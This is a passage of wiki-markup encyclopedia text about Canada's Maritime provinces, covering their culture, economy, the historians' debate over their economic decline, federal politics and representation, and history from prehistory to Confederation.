While Maritimers are predominantly of west European heritage ([[Scotland|Scottish]], [[Ireland|Irish]], [[England|English]], [[French people|French]] - also called [[Acadians]]), immigration to industrial Cape Breton during the hey-day of coal mining and steel manufacturing brought people from eastern Europe as well as Newfoundland. The Maritimes also has a [[Black Canadian|black]] population of [[Loyalist]] ancestry, largely concentrated in [[Nova Scotia]], but also in various communities throughout southern New Brunswick and Prince Edward Island. The [[Mi'kmaq|Mi'kmaq Nation]]'s reserves throughout Nova Scotia, Prince Edward Island and eastern New Brunswick dominate aboriginal culture in the region, compared to the much smaller population of the [[Maliseet|Maliseet Nation]] in western New Brunswick.

Cultural activities are fairly diverse throughout the region with music, theatre, and literatary art forms tending to follow the particular cultural heritage of specific locales. Notable Nova Scotian folklorist and cultural historian [[Helen Creighton]] spent the majority of her lifetime recording the various Celtic musical and folk traditions of rural Nova Scotia during the mid-[[20th century]], prior to this knowledge being wiped out by mass media assimilation with the rest of North America. A fragment of Gaelic culture remains in Nova Scotia but primarily on Cape Breton Island.

A trend in Canada has witnessed a &quot;Celtic revival&quot; which saw many Maritime musicians and songs rise to prominence in recent decades. Some companies, particularly breweries such as [[Alexander Keith's]] and [[Moosehead]] have played up a connection between folklore with alcohol consumption during their marketing campaigns. Ironically some Maritime communities were among the strongest supporters of [[prohibition]] (Prince Edward Island lasting until [[1949]]) and many rural communities throughout Nova Scotia remain &quot;dry&quot; to this day.

==Economy==
===Present status===
Unlike the rest of Canada, the Maritime region's population of 1.8 million is geographically distributed throughout the three provinces. [[Halifax Regional Municipality, Nova Scotia|Halifax]], [[Saint John, New Brunswick|Saint John]], [[Moncton, New Brunswick|Moncton]], [[Cape Breton Regional Municipality, Nova Scotia|Sydney-Glace Bay]], [[Fredericton, New Brunswick|Fredericton]], and [[Charlottetown, Prince Edward Island|Charlottetown]] are the largest population centres in the region, with the Halifax, Saint John, Moncton, and Sydney [[conurbation|conurbations]] all having populations exceeding 100,000.

Given the relatively small population of the region (compared with the Central Canadian provinces, or the New England states), the regional economy is a net exporter of natural resources, manufactured goods, and services. The regional economy has long been tied to natural resources such as fishing, logging, farming, and mining activities. Significant industrialisation in second half of the 19th century saw the first steel poured in Canada at [[Trenton, Nova Scotia]], and subsequent creation of a widespread industrial base to take advantage of the region's large underground coal deposits. After Confederation, however, this industrial base withered with technological change and as trading links to Europe and the USA were reduced in favour of those with Ontario and Quebec. In recent years, however, the Maritime regional economy has seen increased contributions from manufacturing again, and the steady transition to a service economy.

Important manufacturing centres in the region, in addition to the previously-mentioned population centres, include [[Pictou County, Nova Scotia|Pictou County]], [[Truro, Nova Scotia|Truro]], the [[Annapolis Valley]] and the [[South Shore (Nova Scotia)|South Shore]], and the [[Strait of Canso]] area in Nova Scotia, as well as [[Summerside, Prince Edward Island|Summerside]] in Prince Edward Island, and the [[Miramichi, New Brunswick|Miramichi]] area, the [[North Shore (New Brunswick)|North Shore]] and the upper [[Saint John River]] valley of New Brunswick.

Some predominantly coastal areas have become major tourist centres, such as parts of Prince Edward Island, Cape Breton Island, the South Shore of Nova Scotia and the [[Gulf of St. Lawrence]] and [[Bay of Fundy]] coasts of New Brunswick. Additional service-related industries in [[information technology]], [[pharmaceuticals]], [[insurance]] and [[financial]] sectors, as well as [[research]]-related spin-offs from the region's numerous universities and colleges are significant economic contributors.

Another important contribution to Nova Scotia's provincial economy is through spin-offs and royalties relating to off-shore [[petroleum]] exploration and development. Mostly concentrated on the continental shelf of the province's Atlantic coast in the vicinity of [[Sable Island, Nova Scotia|Sable Island]], exploration activities began in the [[1960s]] and resulted in the first commercial production field for oil beginning in the [[1980s]]. [[Natural gas]] was also discovered in the [[1980s]] during exploration work and this is being commercially recovered, beginning in the late [[1990s]]. Initial optimism in Nova Scotia about the potential of off-shore resources appears to have diminished with the lack of new discoveries, although exploration work continues unabated and is moving farther off-shore into waters on the continental margin.

Regional transportation networks have also changed significantly in recent decades with port modernizations, new expressways and ongoing arterial highway construction, the abandonment of various low-capacity railway branchlines (including the entire railway system of Prince Edward Island and southwestern Nova Scotia), the construction of the [[Canso Causeway]] and the [[Confederation Bridge]], as well as airport improvements at various centres providing improved connections to markets and destinations in the rest of North America and overseas.

Improvements in infrastructure and the regional economy notwithstanding, the three provinces remain one of the poorer regions of Canada. While urban areas are growing and thriving, economic adjustments have been harsh in rural and resource-dependent communities and out-migration has been an ongoing problem for some parts of the region. Another problem is seen in the lower average wages and family incomes within the region, and depressed property values, resulting in a smaller tax base for these three provinces, particularly when compared with the national average which benefits from central and western Canadian economic growth.

This has been particularly problematic with the growth of the [[welfare state]] in [[Canada]] since the [[1950s]], resulting in the need to draw upon [[equalization payments]] to provide nationally-mandated social services. Since the [[1990s]] the region has experienced an exceptionally tumultuous period in its regional economy with the collapse of large portions of the ground fishery throughout Atlantic Canada, the closing of coal mines and a steel mill on [[Cape Breton Island]], and the closure of military bases in all three provinces.

===Growth===
While the relative economic underperformance of the Maritime economy has been long lasting, it has not always been present. The mid-[[19th century]], especially the [[1850s]] and [[1860s]] has long been seen as a &quot;Golden Age&quot; in the Maritimes. Growth was strong and the region had one of [[British North America]]'s most extensive manufacturing sectors. The question of why the Maritimes fell from being a centre of Canadian manufacturing to being an economic hinterland is thus a central one to the study of the regions pecuniary difficulties. The period in which the decline occurred had a great many potential culprits. [[1867]] saw Nova Scotia and New Brunswick merged with the Canadas in [[Canadian Confederation|Confederation]] with Prince Edward Island joining them six years later in [[1873]]. Canada was formed only a year after free trade in the form of the [[Canadian-American Reciprocity Agreement|Reciprocity Agreement]] had ended with the United States. As a result, the [[1870s]] saw the introduction and implementation of [[John A. Macdonald]]'s [[National Policy]] creating a system of protective [[tariffs]] around the new nation. Throughout the period there was also significant technological change both in the production and transportation of goods.

===Decline===
The cause of economic malaise in the Maritimes is an issue of great debate and controversy among historians, economists, and geographers. The differing opinions can approximately be divided into the &quot;structuralists,&quot; who argue that poor policy decisions are to blame, and the others, who argue that unavoidable technological and geographical factors caused the decline.

The exact date that the Maritimes began to fall behind the rest of Canada is difficult to determine. Historian Kris Inwood places the date very early, at least in Nova Scotia, finding clear signs that the Maritimes &quot;Golden Age&quot; of the mid-nineteenth century was over by 1870, before Confederation or the National Policy could have had any significant impact. Richard Caves places the date closer to [[1885]], however. T.W. Acheson takes a similar view and provides considerable evidence that the early [[1880s]] were in fact a booming period in Nova Scotia and this growth was only undermined towards the end of that decade. David Alexander argues that any earlier declines were simply part of the global [[Long Depression]], and that the Maritimes first fell behind the rest of Canada when the great boom period of the early twentieth century had little effect on the region. E.R. Forbes, however, emphasizes that the precipitous decline did not occur until after the [[World War I|First World War]] during the [[1920s]] when new railway policies were implemented. Forbes also contends that significant Canadian defence spending during the [[World War II|Second World War]] favoured powerful political interests in Central Canada such as [[C.D. Howe]], when major Maritime shipyards and factories, as well as Canada's largest steel mill, located in Cape Breton Island, fared poorly.

One of the most important changes, and one that almost certainly had an effect, was the revolution in transportation that occurred at this time. The Maritimes were connected to central Canada by the [[Intercolonial Railway]] in the [[1870s]], removing a longstanding barrier to trade. For the first time this placed the Maritime manufacturers in direct competition with those of Central Canada. Maritime trading patterns shifted considerably from mainly trading with [[New England]], [[United Kingdom|Britain]], and the [[Caribbean]], to being focused on commerce with the Canadian interior, enforced by the federal government's tariff policies.

Simultaneously with the construction of railways in the region, the age of the wooden sailing ship began to come to an end, being replaced by larger and faster steel [[steam ship|steam ships]]. The Maritimes had long been a centre for [[shipbuilding]] and this industry was hurt by the change. The larger ships were also less likely to call on the smaller population centres such as [[Saint John, New Brunswick|Saint John]] and [[Halifax, Nova Scotia|Halifax]], preferring to travel to cities like [[New York]] and [[Montreal]]. Even the [[Cunard Line]], founded by Haligonian [[Samuel Cunard]], stopped making more than a single ceremonial voyage to Halifax each year.

More controversial than the role of technology is the argument over the role of politics in the origins of the region's decline. Confederation and the tariff and railway freight policies that followed have often been blamed for having a deleterious effect on the Maritime economies. Arguments have been made that the Maritimes' poverty was caused by control over policy by Central Canada which used the national structures for its own enrichment. This was the central view of the [[Maritime Rights movement]] of the [[1920s]], which advocated greater local control over the region's finances. T.W. Acheson is one of the main proponents of this theory. He notes the growth that was occurring during the early years of the National Policy in Nova Scotia demonstrates how the effects of railway fares and the tariff structure helped undermine this growth. Capitalists from Central Canada purchased the factories and industries of the Maritimes from their bankrupt local owners and proceeded to close down many of them, consolidating the industry in Central Canada.

The policies in the early years of Confederation were designed by Central Canadian interests, and they reflected the needs of that region. The unified Canadian market and the introduction of railroads created a relative weakness in the Maritime economies. Central to this concept, according to Acheson, was the lack of metropolises in the Maritimes.

[[Montreal, Quebec|Montreal]] and [[Toronto, Ontario|Toronto]] were well suited to benefit from the development of large-scale manufacturing and extensive railway systems in [[Quebec]] and [[Ontario]], these being the goals of the Macdonald and Laurier governments. In the Maritimes the situation was very different. Today New Brunswick has a number of mid-sized centres in [[Saint John, New Brunswick|Saint John]], [[Moncton, New Brunswick|Moncton]], and [[Fredericton, New Brunswick|Fredericton]] but no significant population centre. Nova Scotia has a growing metropolitan area surrounding [[Halifax, Nova Scotia|Halifax]], but a contracting population in industrial [[Cape Breton County, Nova Scotia|Cape Breton]], and several smaller centres in [[Bridgewater, Nova Scotia|Bridgewater]], [[Kentville, Nova Scotia|Kentville]], [[Yarmouth, Nova Scotia|Yarmouth]], and [[Pictou County, Nova Scotia|Pictou County]]. Prince Edward Island's only significant population centres are in [[Charlottetown, Prince Edward Island|Charlottetown]] and [[Summerside, Prince Edward Island|Summerside]]. During the late [[19th century|19th]] and early [[20th century|20th centuries]], just the opposite was the case with little to no population concentration in major industrial centres as the predomoniantly- rural resource-dependent Maritime economy continued on the same path as it had since European settlement on the region's shores.

Despite the region's absence of economic growth on the same scale as other parts of the nation, the Maritimes has changed markedly throughout the 20th century, partly as a result of global and national economic trends, and partly as a result of government intervention. Each sub-region within the Maritimes has developed over time to exploit different resources and expertise. [[Saint John, New Brunswick|Saint John]] became a centre of the timber trade and shipbuilding, and is currently a centre for oil refining and some manufacturing. The northern New Brunswick communities of [[Edmundston, New Brunswick|Edmundston]], [[Campbellton, New Brunswick|Campbellton]], [[Dalhousie, New Brunswick|Dalhousie]], [[Bathurst, New Brunswick|Bathurst]], and [[Miramichi, New Brunswick|Miramichi]] are focused on the pulp and paper industry and some mining activity. Moncton was a centre for railways and has changed its focus to becoming a multi-modal transportation centre with associated manufacturing and retail interests. The [[Halifax, Nova Scotia|Halifax]] metropolitan area has come to dominate peninsular Nova Scotia as a retail and service centre, but that province's industries were spread out from the coal and steel industries of industrial [[Cape Breton County, Nova Scotia|Cape Breton]] and [[Pictou County, Nova Scotia|Pictou]] counties, the mixed farming of the [[North Shore (Nova Scotia)|North Shore]] and [[Annapolis Valley]], and the fishing industry was primarily focused on the [[South Shore (Nova Scotia)|South Shore]] and [[Eastern Shore (Nova Scotia)|Eastern Shore]]. Prince Edward Island is largely dominated by farming, fishing, and tourism.

Given the geographic diversity of the various sub-regions with the Maritimes, policies to centralize the population and economy were not initially successful, thus Maritime factories closed while those in Ontario and Quebec prospered.

The traditional [[Staples Thesis]], advocated by scholars such as S.A. Saunders, looks at the resource endowments of the Maritimes and argues that it was the decline of the traditional industries of shipbuilding and fishing that lead to Maritime poverty, since these processes were rooted in geography, and thus all but inevitable. Kris Inwood, has revived the staples approach and looks at a number of geographic weaknesses relative to Central Canada. He repeats Acheson's argument that the region lacks major urban centres, but adds that the Maritimes were also lacking the great rivers that lead to the cheap and abundant [[hydro-electric power]], key to Quebec and Ontario's urban and manufacturing development, that the extraction costs of Maritime resources were relatively higher (particularly in the case of Cape Breton coal), and that the soils of the region were poorer and thus the agricultural sector weaker.

The Maritimes are the only provinces in Canada which entered Confederation in the [[19th century]] and have kept their original colonial boundaries. All three provinces have the smallest land base in the country and have been forced to make do with resources within. By comparison, former colonies such as [[Canada East]], [[Canada West]] and the western provinces were dozens of times larger and in some cases were expanded to take in territory formerly held in British Crown grants to companies such as the [[Hudson's Bay Company]]. The economic riches of energy and natural resources held within this larger land base was only realized by other provinces during the [[20th century]].

One comparison made with the wealthier areas of Canada is that of the region's political and/or work culture. Today few academics make such a claim, but it still a common explanation in other circles. Some writers have also alleged that Maritime business people were unwilling to take risks or invest in manufacturing, a thesis Acheson devotes much attention to debunking.

In recent years [[dependency theory]] has been used to examine the situation of the Maritimes, and while it rejects most traditional economic models it does correspond with the evidence.

==Politics==
All three provinces are currently governed by provincial Progressive Conservative parties. However, Maritime Conservatism since the [[World War II|Second World War]] has been very much part of the [[Red Tory]] tradition, key influences being former Nova Scotia [[Premier]] and federal PC leader [[Robert Stanfield]] and New Brunswick Tory strategist [[Dalton Camp]].

In recent years the [[social-democratic]] [[New Democratic Party]] has made significant inroads both federally and provincially in the region. The NDP has elected MPs from New Brunswick, but most of the focus of the party at the federal and provincial levels is currently in the Halifax area of Nova Scotia. Industrial Cape Breton has historically been a region of labour activism, electing [[Cooperative Commonwealth Federation|CCF]] (and later [[New Democratic Party|NDP]]) MPs, and even counted many early members of the [[Communist Party of Canada]] in the pre-[[World War II|Second World War]] era. In the [[Canadian federal election, 2004|2004 Federal Election]], The NDP captured 28.45% of the vote in Nova Scotia, more than any other province; former NDP leader [[Alexa McDonough]] was and is MP for [[Halifax (electoral district)|Halifax]].

The Maritimes are generally [[social conservative|socially conservative]], but unlike the province of [[Alberta]], the Maritimes also have fiscally [[socialist]] tendencies. It is because of the lack of support for fiscal conservatism that federal parties such as the [[Canadian Alliance]] never had much success in the region, and the level of support for the new [[Conservative Party of Canada]] in the region is uncertain. The [[Canadian federal election, 2004|2004 Federal Election]] saw the Conservatives have one of the worst showings in the region, going back to confederation, with the possible exception of the [[Canadian federal election, 1993|1993 Election]].

One area within the region where both fiscal and social conservatism do coincide and where the federal [[Reform Party of Canada|Reform Party]] and Canadian Alliance have met success is in the central-western part of New Brunswick in the St. John River valley north of Saint John and south of [[Grand Falls, New Brunswick|Grand Falls]]. Contributing demographics include a predominantly [[Anglophone]] population residing in a largely rural agrarian setting. One influence might be proximity to the [[Canada-U.S. Border|International Boundary]] and the state of [[Maine]]. The valley is also settled by descendents of [[United Empire Loyalists]], some of whom established [[Fundamentalist Christianity|fundamentalist Christian]] congregations in the area which continue to influence certain segments of society. There are also a large number of active and retired military personnel located in the Fredericton and [[Oromocto, New Brunswick|Oromocto]] area as a result of the large military base at [[CFB Gagetown]]. Another area in the region with smatterings of coinciding fiscal and social conservatism is the [[Annapolis Valley]] of Nova Scotia.

The [[Liberal Party of Canada]] has done well in the Maritimes in the past due to its [[John Maynard Keynes|interventionist]] policies. The Acadian Peninsula region of New Brunswick, long dependent upon seasonal employment in the [[Gulf of Saint Lawrence]] fishery, tends to vote for the Liberals or NDP for this reason. In the [[1997]] federal election, Prime Minister [[Jean Chrétien]]'s Liberals endured a bitter defeat to the PCs and NDP in many ridings as a result of unpopular cuts to [[Unemployment benefit|unemployment benefits]] for seasonal workers, as well as closures of several [[Canadian Armed Forces]] bases, the refusal to honour a promise to rescind the [[Goods and Services Tax]], cutbacks to provincial [[equalization payments]], [[health care]], [[post-secondary education]] and regional transportation infrastructure such as [[airports]], fishing [[harbour]]s, [[seaport]]s, and [[rail transport|railways]]. Liberals only managed to hold onto seats in Prince Edward Island, and certain parts of Newfoundland and Labrador, and New Brunswick, while being shut out of Nova Scotia entirely for the second time in history. (The only other time being [[Canadian federal election, 1958|Diefenbaker sweep]])

The Maritimes is currently represented in the Canadian Parliament by 25 Members of the House of Commons (Nova Scotia - 11, New Brunswick - 10, Prince Edward Island - 4) and 24 Senators (Nova Scotia &amp; New Brunswick - 10 each, Prince Edward Island - 4). This level of representation was established at the time of Confederation when the Maritimes had a much larger proportion of the national population. The comparatively large population growth of western and central Canada during the immigration boom of the [[20th century]] has reduced the Maritimes' proportion of the national population to less than 10%, resulting in an over-representation in Parliament, with some federal ridings having fewer than 35,000 people, compared to central and western Canada where ridings typically contain 100,000-120,000 people.

The Canadian Senate is structured along regional lines, giving an equal number of seats (24) to the Maritimes, Ontario, Quebec, and western Canada, in addition to the later entry of Newfoundland and Labrador, as well as the three territories. Enshrined in the Constitution, this model was developed to ensure that no area of the country is able to exert undue influence in the Senate. The Maritimes, with its much smaller proportion of the national population (compared to the time of Confederation) also have an over-representation in the Senate, particularly compared to the population growth of Ontario and the western provinces. This has led to calls to reform the Senate; however such a move would entail constitutional changes, something which is unlikely in the near future.

Another factor related to the number of Senate seats is that a federal court decision in the early [[20th century]] mandated that no province can have fewer Members of Parliament than it has Senators. This court decision resulted from a legal challenge by the Government of Prince Edward Island after that province's number of MPs was proposed to change from 4 to 3, accounting for its declining proportion of the national population at that time. When PEI entered Confederation in 1873, it was accorded 6 MPs and 4 Senators; however this was reduced to 4 MPs by the early [[1900s]]. Senators having been appointed for life at this time, these coveted seats rarely went unfilled for a long period of time anywhere in Canada. As a result, PEI's challenge was accepted by the federal court and its level of federal representation was secured. In the aftermath of the [[1989]] budget which saw a fillibuster by Liberal Senators in attempt to kill legislation creating the [[Goods and Services Tax]], Prime Minister [[Brian Mulroney]] &quot;stacked&quot; the Senate by creating additional seats in several provinces across Canada, including New Brunswick; however, there was no attempt by these provinces to increase the number of MPs to reflect this change in Senate representation.

==History==
===Pre-history===
Following the northerly retreat of glaciers at the end of the [[Wisconsin glaciation]] over ten thousand years ago, human settlement by [[Native Americans in the United States|Native Americans]] or [[First Nations]] began in the Maritimes with [[Paleo-Indians]] during the ''Early Period'', ending around six thousand years ago.

The ''Middle Period'', starting six thousand years ago, and ending three thousand years ago, was dominated by rising sea levels from the melting glaciers in polar regions. This is also when what is called the ''Laurentian tradition'' started among [[Archaic Indians]], existing First Nations peoples of the time. Evidence of Archaic Indian burial mounds and other ceremonial sites existing in the St. John River valley has been uncovered.

The ''Late Period'' extended from three thousand years ago until first contact with European settlers and was dominated by the organization of First Nations peoples into the [[Algonquian]]-influenced [[Abenaki]] Nation which existed largely in present-day interior Vermont, New Hampshire, and Maine, and the[[Mi'kmaq]] Nation which inhabited all of Nova Scotia, Prince Edward Island, eastern New Brunswick and the southern Gaspé. The primarily agrarian [[Maliseet]] Nation settled throughout the St. John River and [[Allagash River]] valleys of present-day New Brunswick and Maine. The [[Passamaquoddy]] Nation inhabited the northwestern coastal regions of the present-day [[Bay of Fundy]]. The Mi'kmaq Nation is also assumed to have crossed the present-day [[Cabot Strait]] at around this time to settle on the south coast of [[Newfoundland]] but were in a minority position compared to the [[Beothuk]] Nation.

===Pre-history - 1604===
The Maritimes was the first area in Canada to be settled by Europeans. There is speculation that [[Viking]] explorers discovered and settled in the [[Vinland|Vinland region]] around [[1000]] [[Anno Domini|AD]], which is when the [[L'Anse aux Meadows]] settlement in [[Newfoundland and Labrador]] has been dated, and it is possible that further exploration was made into the present-day Maritimes and northeastern United States. There have also been undocumented reports of other explorers having sighted the Maritimes in the form of [[Ireland|Irish]] [[Monks]] (before 1000 AD) and of [[Scotland|Scotland's]] [[Henry Sinclair, 1st Earl of Orkney|Prince Henry Sinclair]] in [[1398]].

Both [[Giovanni Caboto]] and [[Giovanni da Verrazano]] are reliably reported to have sailed in or near Maritime waters during their voyages of discovery for [[England]] and [[France]] respectively. Several [[Portugal|Portuguese]] explorers have also documented various parts of the Maritimes, namely [[Diego Homem]]. However, it was French explorer [[Jacques Cartier]] who made the first detailed reconnaissance of the region for a European power, and in so doing, claimed the region for the King of France. Cartier was followed by nobleman [[Pierre Dugua, Sieur de Monts]] who was accompanied by explorer/cartographer [[Samuel de Champlain]] in a [[1604]] expedition where they established the second permanent European settlement in North America, following [[Spain|Spain's]] settlement at [[St. Augustine, Florida|St. Augustine]]. Champlain's settlement at [[Saint Croix Island (Maine)|Saint Croix Island]], later moved to [[Habitation at Port-Royal|Port-Royal]], survived where the ill-fated English settlement at [[Roanoke Colony|Roanoke]] did not, and pre-dated the more successful English settlement at [[Jamestown, Virginia|Jamestown]] by three years. Champlain went on to greater fame as the founder of [[New France]] which comprises much of the present-day lower [[Saint Lawrence River]] valley in the province of [[Quebec]].

===1604 - 1713===
Champlain's success in the region, which came to be called ''[[Acadia|Acadie]]'', led to the fertile tidal marshes surrounding the southeastern and northeastern reaches of the [[Bay of Fundy]] being populated by French immigrants who called themselves ''[[Acadians|Acadien]]''. Acadians eventually built small settlements throughout what is today mainland Nova Scotia and New Brunswick, as well as Ile-Saint-Jean (Prince Edward Island), Ile-Royale (Cape Breton Island), and other shorelines of the Gulf of St. Lawrence in present-day Newfoundland and Labrador, and Quebec. Acadian settlements had primarily agrarian economies, although there were many early examples of Acadian fishing settlements in southwestern Nova Scotia and in Ile-Royale, as well as along the south and west coasts of [[Newfoundland]], the [[Gaspé|Gaspe Peninsula]], and the present-day [[Côte-Nord]] region of Quebec. It should be noted that most Acadian fishing activities were overshadowed by the comparatively enormous seasonal European fishing fleets based out of [[Newfoundland]] which took advantage of proximity to the [[Grand Banks]].

The growing English colonies along the American seaboard to the south, and various European wars between England and France during the [[17th century|17th]] and [[18th century|18th]] centuries saw Acadia, and Acadians at the centre of world-scale geopolitical forces. In [[1613]], Virginian raiders captured Port Royale and in [[1621]] Acadia, that being most of present-day Atlantic Canada, [[Anticosti Island]] and the Gaspe Peninsula, was ceded to [[Scotland|Scotland's]] [[William Alexander, Earl of Stirling|Sir William Alexander]] who renamed it ''Nova Scotia''. By [[1632]], Acadia was returned from Scotland to France under the ''Treaty of [[Saint-Germain-en-Laye]]'', and the Port Royale settlement was moved to the site of nearby present-day [[Annapolis Royal, Nova Scotia|Annapolis Royal]]. More French settlers, primarily from the [[Vienne]], [[Normandie]], and [[Brittany]] regions of [[France]], continued to populate the colony of Acadia during the latter part of the [[17th century|17th]] and early part of the [[18th century|18th]] centuries. Important settlements also began in the [[Tantramar Marshes|Beaubassin]] region of the present-day [[Isthmus of Chignecto]], and in the [[St. John River]] valley, and settlers began to establish communities on Ile-Saint-Jean and Ile-Royale as well.

In [[1654]], [[New England]] raiders attacked Acadian settlements on the [[Annapolis Basin]], starting a period of uncertainty for Acadians throughout the English constitutional crises under [[Oliver Cromwell]], and only being properly resolved under the [[Treaty of Breda]] in [[1667]] when France's claim to the region was reaffirmed. Colonial administration by France throughout the history of Acadia was contemptuous at best. France's priorities were in settling and strengthening its claim on New France and the exploration and settlement of interior North America and the [[Mississippi River]] valley.

===1713 - 1745===
Further French-English conflict resulted in the [[Treaty of Utrecht (1713)|Treaty of Utrecht]] in [[1713]] which saw France formally relinquish [[Acadia]] to [[United Kingdom|Britain]]. Confusion over the boundaries between Acadia, New France, and the [[Massachusetts|Commonwealth of Massachusetts]] left Britain in possession of what is present-day mainland Nova Scotia. The early British capital of the Colony of Nova Scotia (sometimes referred to as the ''14th Colony'') was established at Annapolis Royal, where [[Fort Anne]] was constructed.

France still maintained control over much of present-day New Brunswick and northern [[Maine]], [[Prince Edward Island|Ile-Saint-Jean]], and [[Cape Breton|Ile-Royale]]. In [[1719]], to further protect strategic interests in the Gulf of St. Lawrence and St. Lawrence River, France began the 20-year construction of a large [[fortress]] at [[Fortress Louisbourg|Louisbourg]] on Ile-Royale. Massachusetts was increasingly concerned over reports of the capabilities of this fortress, and of [[privateer|privateers]] staging out of its harbour to raid New England fishermen on the Grand Banks. The [[War of the Austrian Succession]] saw Britain and France in conflict with each other, and in [[1745]] several [[warship]]s and a small contingent of troops were sent from Boston, first to the Nova Scotian fishing port of [[Canso, Nova Scotia|Canso]], and on to Louisbourg where they laid siege to the fortress until the French surrendered and were evacuated.

===1745 - 1763===
The British returned control of Ile-Royale to France with the fortress virtually intact three years later under the [[Treaty of Aix-la-Chapelle]] and the French reestablished their forces there. In [[1749]], to counter the rising threat of Louisbourg, Halifax was founded and the [[Royal Navy]] established a major naval base and [[Citadel Hill|citadel]].

The [[Seven Years' War]] from [[1756]] to [[1763]] was the final struggle for European domination of North America. The [[French colony]] of New France was the objective and the present-day Maritime provinces saw conflict beginning in [[1755]] with the British capture of French forces at [[Fort Beausejour]] and [[Fort Gaspereau]], guarding the Isthmus of Chignecto. In [[1758]], the fortress of Louisbourg was laid siege for a second time within 15 years, this time by in excess of 27,000 British soldiers and sailors with over 150 warships. After the French surrender, Louisbourg was thoroughly destroyed by British engineers to ensure it would never be reclaimed. With the fall of Louisbourg, French resistance in the region crumbled. British forces seized remaining French control over Acadia in the coming months, with Ile-Saint-Jean falling in [[1759]] to British forces on their way to [[Quebec City, Quebec|Quebec City]] for the Siege of Quebec and ensuing [[Battle of the Plains of Abraham]].

It was also during the course of this war that British administrators in Nova Scotia began the expulsion of the [[Acadians|Acadians]] from their adopted homeland. Some Acadian families, and sometimes entire communities, escaped British soldiers tasked with their deportation, by hiding for years in hidden forest settlements, aided by the [[Mi'kmaq]] First Nations. These Acadians during the [[19th century]] created new settlements in western Nova Scotia, southwestern and northwestern Cape Breton Island, and western Prince Edward Island, but their most significant concentration was along the New Brunswick shores of the Gulf of St. Lawrence.

===1763 - 1784===
Following the [[Seven Years' War]], empty Acadian lands were settled first by [[New England Planters]] and then by immigrants brought from [[Yorkshire Emigration to Nova Scotia|Yorkshire]]. Ile-Royale was renamed to Cape Breton Island and incorporated into the Colony of Nova Scotia at this time. Both the colonies of Nova Scotia (present-day Nova Scotia and New Brunswick) and St. John's Island (Prince Edward Island) were impacted during the [[American War of Independence]], largely by privateering against American shipping, but several coastal communities were also the targets of American raiders.

The most significant impact from this war were the settling of [[Loyalist (American Revolution)|Loyalist]] refugees. Following the [[Treaty of Paris (1783)|Treaty of Paris]] in [[1783]], Loyalists persuaded Britain to split the Colony of Nova Scotia to create the neighbouring Colony of [[New Brunswick]] in [[1784]]. At the same time, another part of the Colony of Nova Scotia, Cape Breton Island, was split off to become the Colony of Cape Breton Island.

===1784 - 1814===
The Colony of St. John's Island was renamed to [[Prince Edward Island]] in [[1798]].

The [[War of 1812]] had some impact on the shipping industry in the Maritime colonies of New Brunswick, Nova Scotia, Prince Edward Island, and Cape Breton Island; however, the significant [[Royal Navy]] presence in Halifax and other ports in the region prevented any serious attempts by American raiders. Maritime and American [[privateer|privateers]] targeted unprotected shipping of both the United States and Britain respectively, further reducing trade. The American border with New Brunswick did not have any significant action during this conflict, although British forces did occupy a portion of coastal [[Maine]] at one point. The most significant incident from this war which occurred in the Maritimes was the British capture and detention of the American frigate ''USS Chesapeake'' in Halifax.

===1814 - 1865===
In [[1820]], the Colony of Cape Breton Island was merged back into the Colony of Nova Scotia for the second time by the British government.

British settlement of the Maritimes, as the colonies of Nova Scotia, New Brunswick and Prince Edward Island came to be known, accelerated throughout the late [[18th century]] and into the [[19th century]] with significant immigration to the region as a result of [[Scotland|Scottish]] migrants displaced by the [[Highland Clearances]] and [[Irish diaspora|Irish]] escaping the [[Irish potato famine|potato famine]]. As a result, significant portions of the three provinces are influenced by [[Celt|Celtic]] heritages, with [[Scottish Gaelic language|Scottish Gaelic]] having been widely spoken, particularly in [[Cape Breton]], although it is less prevalent today.

The [[American Civil War]] saw some Maritimers emigrate to the United States for participating in military service. However, the majority of the conflict's impact was felt in the shipping industry since diplomatic tensions between [[United Kingdom|Britain]] and the [[U.S. Northern states|Unionist North]] had deteriorated after Britain expressed support for the secessionist [[Confederate States of America|Confederate South]]. The Union navy, although much smaller than the Royal Navy, did posture off Maritime coasts at times. Although an amphibious invasion was never in question, blockading by Union naval forces was relatively common, particularly at Halifax, where Confederate navy ships sought refuge and reprovisioning.

The immense size of the Union army (the largest on the planet toward the end of the Civil War), however, was viewed with increasing concern by Maritimers throughout the early [[1860s]]. Another concern was the rising threat of [[Fenian]] raids on border communities in [[New Brunswick]] by those seeking to end British rule of [[Ireland]]. This combination of events, coupled with an ongoing decline in British military and economic support to the region as the Home Office favoured newer colonial endeavours in Africa and elsewhere, led to a call among Maritime politicians for a conference on [[Maritime Union]], to be held in early [[September]], [[1864]] in [[Charlottetown, Prince Edward Island|Charlottetown]] - chosen in part because of Prince Edward Island's reluctance to give up its jurisdictional sovereignty in favour of uniting with New Brunswick and Nova Scotia into a single colony. New Brunswick and Nova Scotia felt that if the union conference were held in Charlottetown, they might be able to convince Island politicians to support the proposal.

The [[Charlottetown Conference]], as it came to be called, was also attended by a slew of visiting delegates from the neighbouring colony of [[United Province of Canada|Canada]], who had largely arrived at their own invitation with their own agenda. This agenda saw the conference dominated by discussions of creating an even larger union of the entire territory of [[British North America]] into a single new nation. The Charlottetown Conference ended with an agreement to meet the following month in [[Quebec City]], whereby more formal discussions ensued, culminating with meetings in [[London]] and the signing of the [[British North America Act]]. Only Nova Scotia and New Brunswick were initially party to the BNA Act, Prince Edward Island's reluctance, combined with a booming agricultural and fishing export economy having led to that colony opting not to sign on.

===1865 - 1873===
New Brunswick and Nova Scotia were two of the original four provinces to enter into [[Canadian Confederation|Confederation]] on [[July 1]], [[1867]] while Prince Edward Island entered on [[July 1]], [[1873]].

==See also==
*[[Atlantic Canada]]
*[[Central Canada]]
*[[List of regions of Canada]]
*[[Maritime Film Classification Board]]

==External links==
*[http://www2.marianopolis.edu/quebechistory/federal/maritime.pdf The Maritime Provinces, the Maritime Rights Movement and Canadian Federalism]
*[http://www.apec-econ.ca Atlantic Provinces Economic Council]
*[http://www.umoncton.ca/icrdr/fs_act_pub_colmar_etat_en.html &quot;Maritime Series - State of the Regions,&quot; Canadian Institute for Research on Regional Development]
*[http://www.aims.ca Atlantic Institute of Market Studies]
*[http://www.gpiatlantic.org Genuine Progress Indicator Atlantic]
*[http://www.moncton.net/info/townOfCityOf.aspx Atlantic Provinces Communities: Towns &amp; Cities. Basic Information, Facts, Figures, Pictures ]


[[Category:New Brunswick]]
[[Category:Nova Scotia]]
[[Category:Prince Edward Island]]
[[Category:Regions of Canada]]

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    <title>Cyril of Alexandria</title>
